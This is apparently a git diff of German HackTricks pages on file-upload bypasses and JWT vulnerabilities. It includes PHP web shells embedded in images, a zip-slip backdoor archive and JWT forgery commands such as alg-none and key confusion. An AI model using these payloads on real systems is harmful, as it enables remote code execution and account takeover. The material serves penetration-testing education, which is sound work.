`exiftool -Comment="<?php echo 'Befehl:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oder Sie könnten auch das **Payload direkt** in ein Bild einfügen:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Wenn **Komprimierung zu Ihrem Bild hinzugefügt wird**, z.B. durch die Verwendung einiger Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die zuvor genannten Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunk**-Technik [**hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* Wenn **Komprimierung zu Ihrem Bild hinzugefügt wird**, z.B. durch die Verwendung einiger Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die zuvor genannten Techniken nicht nützlich. Sie könnten jedoch den **PLTE-Chunk** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Die Webseite könnte auch das **Bild verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunk**-Technik [**hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* Die Webseite könnte auch das **Bild verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch den **IDAT-Chunk** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Eine weitere Technik, um ein Payload zu erstellen, der **eine Bildverkleinerung überlebt**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunk**-Technik [**hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* Eine weitere Technik, um ein Payload zu erstellen, der **eine Bildverkleinerung überlebt**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch den **tEXt-Chunk** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Weitere Tricks zum Überprüfen
|
||||
|
||||
* Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei umzubenennen (um die Erweiterung zu ändern).
|
||||
* Finden Sie eine Schwachstelle für **Local File Inclusion**, um die Backdoor auszuführen.
|
||||
* **Mögliche Informationspreisgabe**:
|
||||
1. Laden Sie **mehrmals** (und **gleichzeitig**) die **gleiche Datei** mit dem **gleichen Namen** hoch.
|
||||
2. Laden Sie eine Datei mit dem **Namen einer Datei** oder eines **Ordners**, der **bereits existiert**, hoch.
|
||||
3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird die Datei mit dem Namen “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
|
||||
4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie z.B. **“…:.jpg”** in **NTFS** (Windows).
|
||||
5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch (Windows).
|
||||
6. Laden Sie eine Datei in **Windows** hoch, indem Sie **reservierte** (**verbotene**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 verwenden.
|
||||
* Finden Sie eine Schwachstelle für **Local File Inclusion**, um das Backdoor auszuführen.
|
||||
* **Mögliche Informationsfreigabe**:
|
||||
1. Laden Sie **mehrmals** (und **gleichzeitig**) dieselbe Datei mit dem **gleichen Namen hoch**.
|
||||
2. Laden Sie eine Datei mit dem **Namen einer Datei** oder eines **Ordners hoch**, der **bereits existiert**.
|
||||
3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
|
||||
4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch. (Windows)
|
||||
6. Laden Sie eine Datei in **Windows** unter Verwendung von **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
|
||||
* Versuchen Sie auch, eine ausführbare Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die Code ausführt, wenn sie versehentlich vom Opfer geöffnet wird.
|
||||
|
||||
### Spezielle Erweiterungstricks
|
||||
|
@ -111,13 +111,13 @@ Wenn Sie versuchen, Dateien auf einen **ASP-Server hochzuladen**, [schauen Sie s
|
|||
|
||||
Die `.phar`-Dateien sind wie die `.jar`-Dateien für Java, aber für PHP und können wie eine PHP-Datei verwendet werden (durch Ausführen mit PHP oder Einbinden in ein Skript...).
|
||||
|
||||
Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Import von Dateien** dienen, sodass jemand diese Erweiterung möglicherweise **zur Ausführung zugelassen hat**.
|
||||
Die Erweiterung `.inc` wird manchmal für PHP-Dateien verwendet, die nur zum **Import von Dateien** dienen, sodass jemand diese Erweiterung möglicherweise **zur Ausführung zugelassen hat**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [RCE erhalten, da **neue \*.xml- und \*.war-Dateien automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Laden Sie also die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarten Sie die Shell!
|
||||
Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [RCE erhalten, da **neue \*.xml- und \*.war-Dateien automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Laden Sie also wie in folgendem Bild erwähnt die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarten Sie die Shell!
|
||||
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1044).png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
|
@ -149,7 +149,7 @@ Es ist entscheidend, die lockere Natur des Konfigurationsdatei-Parsings von uWSG
|
|||
|
||||
## **wget Datei-Upload/SSRF-Trick**
|
||||
|
||||
In einigen Fällen kann festgestellt werden, dass ein Server **`wget`** zum **Herunterladen von Dateien** verwendet und Sie die **URL angeben können**. In diesen Fällen überprüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur zugelassene Dateien heruntergeladen werden. **Diese Überprüfung kann jedoch umgangen werden.**\
|
||||
In einigen Fällen kann es vorkommen, dass ein Server **`wget`** zum **Herunterladen von Dateien** verwendet und Sie die **URL angeben** können. In diesen Fällen überprüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. **Diese Überprüfung kann jedoch umgangen werden.**\
|
||||
Die **maximale** Länge eines **Dateinamens** in **Linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Sie können eine Datei namens "A"\*232+".php"+".gif" herunterladen, dieser Dateiname wird die **Überprüfung umgehen** (da in diesem Beispiel **".gif"** eine **gültige** Erweiterung ist), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
|
@ -189,7 +189,7 @@ Beachten Sie, dass **eine weitere Option**, die Sie möglicherweise in Betracht
|
|||
* **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE in svg-Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Offene Weiterleitung** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Versuchen Sie **verschiedene svg Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* Versuchen Sie **verschiedene svg-Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Berühmte **ImageTrick**-Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Wenn Sie den Webserver **anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, einen [SSRF](../ssrf-server-side-request-forgery/) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Website gespeichert wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**.
|
||||
* [**XXE und CORS**-Umgehung mit PDF-Adobe-Upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
|
@ -244,7 +244,7 @@ python2 evilarc.py -h
|
|||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Zusätzlich ist der **Symlink-Trick mit Evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass Evilarc während seines Betriebs keine Fehler meldet.
|
||||
Zusätzlich ist der **Symlink-Trick mit Evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass Evilarc während seines Betriebs keine Fehler feststellt.
|
||||
|
||||
Im Folgenden finden Sie ein Beispiel für Python-Code, der verwendet wird, um eine bösartige Zip-Datei zu erstellen:
|
||||
```python
|
||||
|
@ -268,7 +268,7 @@ create_zip()
|
|||
|
||||
Für weitere Details **überprüfen Sie den Originalbeitrag unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle aus der `$_REQUEST`-Variablen auszuführen.
|
||||
1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
@ -277,13 +277,13 @@ $cmd = ($_REQUEST['cmd']);
|
|||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
2. **Dateispraying und Erstellung komprimierter Dateien**: Es werden mehrere Dateien erstellt und ein Zip-Archiv wird erstellt, das diese Dateien enthält.
|
||||
2. **Dateispraying und Erstellung komprimierter Dateien**: Es werden mehrere Dateien erstellt und ein Zip-Archiv wird erstellt, das diese Dateien enthält.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
3. **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien innerhalb des Zip-Archivs werden mit vi oder einem Hex-Editor geändert, indem "xxA" in "../" geändert wird, um Verzeichnisse zu durchqueren.
|
||||
3. **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien innerhalb des Zip-Archivs werden mit vi oder einem Hex-Editor geändert, indem "xxA" in "../" geändert wird, um Verzeichnisse zu durchqueren.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
|
@ -310,11 +310,11 @@ Mehr Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-s
|
|||
|
||||
## Polyglotte Dateien
|
||||
|
||||
Polyglotte Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), eine Hybridform, die sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
|
||||
Polyglotte Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), eine Hybridform, die sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
|
||||
|
||||
Der Kernnutzen von polyglotten Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Eine gängige Praxis in verschiedenen Anwendungen besteht darin, nur bestimmte Dateitypen für den Upload zuzulassen - wie JPEG, GIF oder DOC -, um das Risiko durch potenziell schädliche Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglott kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Beschränkungen heimlich umgehen.
|
||||
Der Kernnutzen von polyglotten Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Eine gängige Praxis in verschiedenen Anwendungen besteht darin, nur bestimmte Dateitypen für den Upload zuzulassen - wie JPEG, GIF oder DOC - um das Risiko durch potenziell schädliche Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglott kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Beschränkungen heimlich umgehen.
|
||||
|
||||
Trotz ihrer Anpassungsfähigkeit stoßen Polyglotte auf Einschränkungen. Beispielsweise kann ein Polyglott gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpern, aber der Erfolg seines Uploads könnte von den Dateierweiterungsrichtlinien der Plattform abhängen. Wenn das System strenge Richtlinien für zulässige Erweiterungen hat, reicht die bloße strukturelle Dualität eines Polyglotts möglicherweise nicht aus, um seinen Upload zu garantieren.
|
||||
Trotz ihrer Anpassungsfähigkeit stoßen Polyglotte auf Einschränkungen. Beispielsweise kann ein Polyglott gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpern, aber der Erfolg seines Uploads könnte von den Dateierweiterungsrichtlinien der Plattform abhängen. Wenn das System strengere Richtlinien für zulässige Erweiterungen hat, reicht die bloße strukturelle Dualität eines Polyglotten möglicherweise nicht aus, um seinen Upload zu garantieren.
|
||||
|
||||
Mehr Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -327,7 +327,7 @@ Mehr Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -339,10 +339,10 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# JWT Vulnerabilities (Json Web Tokens)
|
||||
# JWT-Schwachstellen (Json Web Tokens)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -26,23 +26,19 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
|
|||
### **Schnelle Erfolge**
|
||||
|
||||
Führen Sie [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) im Modus `Alle Tests!` aus und warten Sie auf grüne Linien
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
|
||||
Wenn Sie Glück haben, findet das Tool möglicherweise einen Fall, in dem die Webanwendung das JWT falsch überprüft:
|
||||
|
||||
![](<../.gitbook/assets/image (435).png>)
|
||||
|
||||
Dann können Sie die Anfrage in Ihrem Proxy suchen oder das verwendete JWT für diese Anfrage mithilfe des jwt\_ Tools abrufen:
|
||||
![](<../.gitbook/assets/image (932).png>)
|
||||
|
||||
Dann können Sie die Anfrage in Ihrem Proxy suchen oder das verwendete JWT für diese Anfrage mit dem jwt\_ tool abrufen:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
|
||||
### Daten manipulieren, ohne etwas zu ändern
|
||||
|
||||
Sie können einfach mit den Daten manipulieren, ohne die Signatur zu ändern, und überprüfen, ob der Server die Signatur überprüft. Versuchen Sie beispielsweise, Ihren Benutzernamen in "admin" zu ändern.
|
||||
|
@ -53,13 +49,13 @@ Um zu überprüfen, ob die Signatur eines JWT überprüft wird:
|
|||
|
||||
* Eine Fehlermeldung deutet auf laufende Überprüfung hin; sensible Details in ausführlichen Fehlern sollten überprüft werden.
|
||||
* Eine Änderung auf der zurückgegebenen Seite deutet ebenfalls auf eine Überprüfung hin.
|
||||
* Keine Änderung deutet auf keine Überprüfung hin; dann ist es an der Zeit, mit der Manipulation von Payload-Claims zu experimentieren.
|
||||
* Keine Änderung deutet auf keine Überprüfung hin; dann ist es an der Zeit, mit der Manipulation der Payload-Behauptungen zu experimentieren.
|
||||
|
||||
### Herkunft
|
||||
|
||||
Es ist wichtig festzustellen, ob das Token serverseitig oder clientseitig generiert wurde, indem der Anforderungsverlauf des Proxys überprüft wird.
|
||||
|
||||
* Tokens, die zuerst auf der Clientseite gesehen werden, deuten darauf hin, dass der Schlüssel möglicherweise dem Clientcode zugänglich ist und weitere Untersuchungen erforderlich sind.
|
||||
* Tokens, die zuerst auf der Clientseite gesehen werden, deuten darauf hin, dass der Schlüssel möglicherweise dem Clientcode ausgesetzt ist und weitere Untersuchungen erforderlich sind.
|
||||
* Tokens, die serverseitig entstehen, deuten auf einen sicheren Prozess hin.
|
||||
|
||||
### Dauer
|
||||
|
@ -74,7 +70,7 @@ Es ist wichtig festzustellen, ob das Token serverseitig oder clientseitig generi
|
|||
|
||||
Setzen Sie den verwendeten Algorithmus auf "None" und entfernen Sie den Signaturteil.
|
||||
|
||||
Verwenden Sie die Burp-Erweiterung "JSON Web Token", um diese Schwachstelle auszuprobieren und verschiedene Werte innerhalb des JWT zu ändern (senden Sie die Anforderung an Repeater und im Tab "JSON Web Token" können Sie die Werte des Tokens ändern. Sie können auch auswählen, den Wert des Felds "Alg" auf "None" zu setzen).
|
||||
Verwenden Sie die Burp-Erweiterung "JSON Web Token", um diese Schwachstelle auszunutzen und verschiedene Werte innerhalb des JWT zu ändern (senden Sie die Anforderung an Repeater und im Tab "JSON Web Token" können Sie die Werte des Tokens ändern. Sie können auch auswählen, den Wert des Felds "Alg" auf "None" zu setzen).
|
||||
|
||||
### Ändern des Algorithmus von RS256(asymmetrisch) auf HS256(symmetrisch) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
|
@ -83,16 +79,14 @@ Der Algorithmus RS256 verwendet den privaten Schlüssel, um die Nachricht zu sig
|
|||
|
||||
Wenn Sie den Algorithmus von RS256 auf HS256 ändern, verwendet der Backend-Code den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus zur Überprüfung der Signatur.
|
||||
|
||||
Dann könnten wir mit dem öffentlichen Schlüssel und der Änderung von RS256 auf HS256 eine gültige Signatur erstellen. Sie können das Zertifikat des Webservers abrufen, indem Sie dies ausführen:
|
||||
|
||||
Dann könnten wir unter Verwendung des öffentlichen Schlüssels und der Änderung von RS256 auf HS256 eine gültige Signatur erstellen. Sie können das Zertifikat des Webservers abrufen, der dies ausführt:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
|
||||
### Neuer öffentlicher Schlüssel im Header
|
||||
|
||||
Ein Angreifer bettet einen neuen Schlüssel im Header des Tokens ein, und der Server verwendet diesen neuen Schlüssel zur Überprüfung der Signatur (CVE-2018-0114).
|
||||
Ein Angreifer bettet einen neuen Schlüssel im Header des Tokens ein und der Server verwendet diesen neuen Schlüssel zur Überprüfung der Signatur (CVE-2018-0114).
|
||||
|
||||
Dies kann mit der "JSON Web Tokens" Burp-Erweiterung durchgeführt werden.\
|
||||
(Senden Sie die Anfrage an den Repeater, wählen Sie im Tab "JSON Web Token" "CVE-2018-0114" aus und senden Sie die Anfrage).
|
||||
|
@ -103,12 +97,12 @@ Die Anweisungen beschreiben eine Methode zur Bewertung der Sicherheit von JWT-To
|
|||
|
||||
* **Bewertung von Tokens mit "jku"-Header**:
|
||||
* Überprüfen Sie die URL des "jku"-Claims, um sicherzustellen, dass sie zur entsprechenden JWKS-Datei führt.
|
||||
* Ändern Sie den Wert des "jku"-Claims im Token so, dass er auf einen kontrollierten Webdienst verweist, der die Beobachtung des Datenverkehrs ermöglicht.
|
||||
* Ändern Sie den Wert des "jku"-Tokens so, dass er auf einen kontrollierten Webdienst verweist, der die Beobachtung des Datenverkehrs ermöglicht.
|
||||
* **Überwachung der HTTP-Interaktion**:
|
||||
* Die Beobachtung von HTTP-Anfragen an die von Ihnen angegebene URL zeigt die Versuche des Servers, Schlüssel von Ihrem bereitgestellten Link abzurufen.
|
||||
* Bei der Verwendung von `jwt_tool` für diesen Prozess ist es wichtig, die Datei `jwtconf.ini` mit Ihrem persönlichen JWKS-Speicherort zu aktualisieren, um die Tests zu erleichtern.
|
||||
* Bei der Verwendung von `jwt_tool` für diesen Prozess ist es wichtig, die Datei `jwtconf.ini` mit Ihrem persönlichen JWKS-Speicherort zu aktualisieren, um den Test zu erleichtern.
|
||||
* **Befehl für `jwt_tool`**:
|
||||
* Führen Sie den folgenden Befehl aus, um das Szenario mit `jwt_tool` zu simulieren:
|
||||
* Führen Sie den folgenden Befehl aus, um das Szenario mit `jwt_tool` zu simulieren:
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_HIER -X s
|
||||
|
@ -116,20 +110,18 @@ python3 jwt_tool.py JWT_HIER -X s
|
|||
|
||||
### Kid-Probleme im Überblick
|
||||
|
||||
Ein optionaler Header-Claim namens `kid` wird verwendet, um einen bestimmten Schlüssel zu identifizieren, was insbesondere in Umgebungen, in denen mehrere Schlüssel für die Überprüfung der Token-Signatur vorhanden sind, wichtig wird. Dieser Claim hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens.
|
||||
Ein optionaler Header-Claim namens `kid` wird verwendet, um einen spezifischen Schlüssel zu identifizieren, was insbesondere in Umgebungen mit mehreren Schlüsseln zur Überprüfung der Token-Signatur wichtig ist. Dieser Claim hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens.
|
||||
|
||||
#### Offenlegung des Schlüssels durch "kid"
